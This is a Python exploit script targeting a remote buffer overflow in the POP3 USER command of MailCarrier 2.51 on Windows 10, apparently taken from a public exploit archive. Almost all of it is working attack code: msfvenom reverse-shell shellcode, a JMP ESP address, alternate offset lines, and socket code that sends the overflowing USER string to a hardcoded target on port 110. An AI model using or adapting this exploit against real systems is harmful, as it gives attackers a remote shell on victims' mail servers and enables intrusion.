Win10 MailCarrier 2.51 Buffer Overflow

`# Exploit Title: Win10 MailCarrier 2.51 - 'POP3 User' Remote Buffer Overflow  
# Date: 2019-10-01  
# Author: Lance Biggerstaff  
# Original Exploit Author: Dino Covotsos - Telspace Systems  
# Vendor Homepage: https://www.tabslab.com/  
# Version: 2.51  
# Tested on: Windows 10  
# Note: Every version of Windows 10 has a different offset ¯\_(ツ)_/¯  
  
#!/usr/bin/python  
  
import sys  
import socket  
import time  
  
#msfvenom -p windows/shell/reverse_tcp lhost=IP_ADDRESS lport=LISYTENING_PORT -b '\x00\xd9' -f python  
  
buf = ""  
buf += "\x2b\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81"  
buf += "\x76\x0e\xe7\xb4\xfe\x5c\x83\xee\xfc\xe2\xf4\x1b\x5c"  
buf += "\x7c\x5c\xe7\xb4\x9e\xd5\x02\x85\x3e\x38\x6c\xe4\xce"  
buf += "\xd7\xb5\xb8\x75\x0e\xf3\x3f\x8c\x74\xe8\x03\xb4\x7a"  
buf += "\xd6\x4b\x52\x60\x86\xc8\xfc\x70\xc7\x75\x31\x51\xe6"  
buf += "\x73\x1c\xae\xb5\xe3\x75\x0e\xf7\x3f\xb4\x60\x6c\xf8"  
buf += "\xef\x24\x04\xfc\xff\x8d\xb6\x3f\xa7\x7c\xe6\x67\x75"  
buf += "\x15\xff\x57\xc4\x15\x6c\x80\x75\x5d\x31\x85\x01\xf0"  
buf += "\x26\x7b\xf3\x5d\x20\x8c\x1e\x29\x11\xb7\x83\xa4\xdc"  
buf += "\xc9\xda\x29\x03\xec\x75\x04\xc3\xb5\x2d\x3a\x6c\xb8"  
buf += "\xb5\xd7\xbf\xa8\xff\x8f\x6c\xb0\x75\x5d\x37\x3d\xba"  
buf += "\x78\xc3\xef\xa5\x3d\xbe\xee\xaf\xa3\x07\xeb\xa1\x06"  
buf += "\x6c\xa6\x15\xd1\xba\xdc\xcd\x6e\xe7\xb4\x96\x2b\x94"  
buf += "\x86\xa1\x08\x8f\xf8\x89\x7a\xe0\x3d\x16\xa3\x37\x0c"  
buf += "\x6e\x5d\xe7\xb4\xd7\x98\xb3\xe4\x96\x75\x67\xdf\xfe"  
buf += "\xa3\x32\xde\xf4\x34\x27\x1c\xec\x59\x8f\xb6\xfe\x5c"  
buf += "\xf2\x3d\x18\x0c\xb7\xe4\xae\x1c\xb7\xf4\xae\x34\x0d"  
buf += "\xbb\x21\xbc\x18\x61\x69\x36\xf7\xe2\xa9\x34\x7e\x11"  
buf += "\x8a\x3d\x18\x61\x7b\x9c\x93\xbe\x01\x12\xef\xc1\x12"  
buf += "\xb4\x80\xb4\xfe\x5c\x8d\xb4\x94\x58\xb1\xe3\x96\x5e"  
buf += "\x3e\x7c\xa1\xa3\x32\x37\x06\x5c\x99\x82\x75\x6a\x8d"  
buf += "\xf4\x96\x5c\xf7\xb4\xfe\x0a\x8d\xb4\x96\x04\x43\xe7"  
buf += "\x1b\xa3\x32\x27\xad\x36\xe7\xe2\xad\x0b\x8f\xb6\x27"  
buf += "\x94\xb8\x4b\x2b\xdf\x1f\xb4\x83\x74\xbf\xdc\xfe\x1c"  
buf += "\xe7\xb4\x94\x5c\xb7\xdc\xf5\x73\xe8\x84\x01\x89\xb0"  
buf += "\xdc\x8b\x32\xaa\xd5\x01\x89\xb9\xea\x01\x50\xc3\xbb"  
buf += "\x7b\x2c\x18\x4b\x01\xb5\x7c\x4b\x01\xa3\xe6\x77\xd7"  
buf += "\x9a\x92\x75\x3d\xe7\x17\x01\x5c\x0a\x8d\xb4\xad\xa3"  
buf += "\x32\xb4\xfe\x5c"  
  
jmpesp = '\x23\x49\xA1\x0F'  
  
#buffer = '\x41' * 5093 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)  
#buffer = '\x41' * 5093 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)  
buffer = '\x41' * 5095 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)  
#buffer = '\x41' * 5097 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)  
#buffer = '\x41' * 5099 + jmpesp + '\x90' * 20 + buf + '\x43' * (5096 - 4 - 20 - 1730)  
  
print "[*] MailCarrier 2.51 POP3 Buffer Overflow in USER command\r\n"  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect(("192.168.121.87", 110))  
print s.recv(1024)  
s.send('USER ' + buffer + '\r\n')  
print s.recv(1024)  
s.send('QUIT\r\n')  
s.close()  
time.sleep(1)  
print "[*] Done, but if you get here the exploit failed!"  
`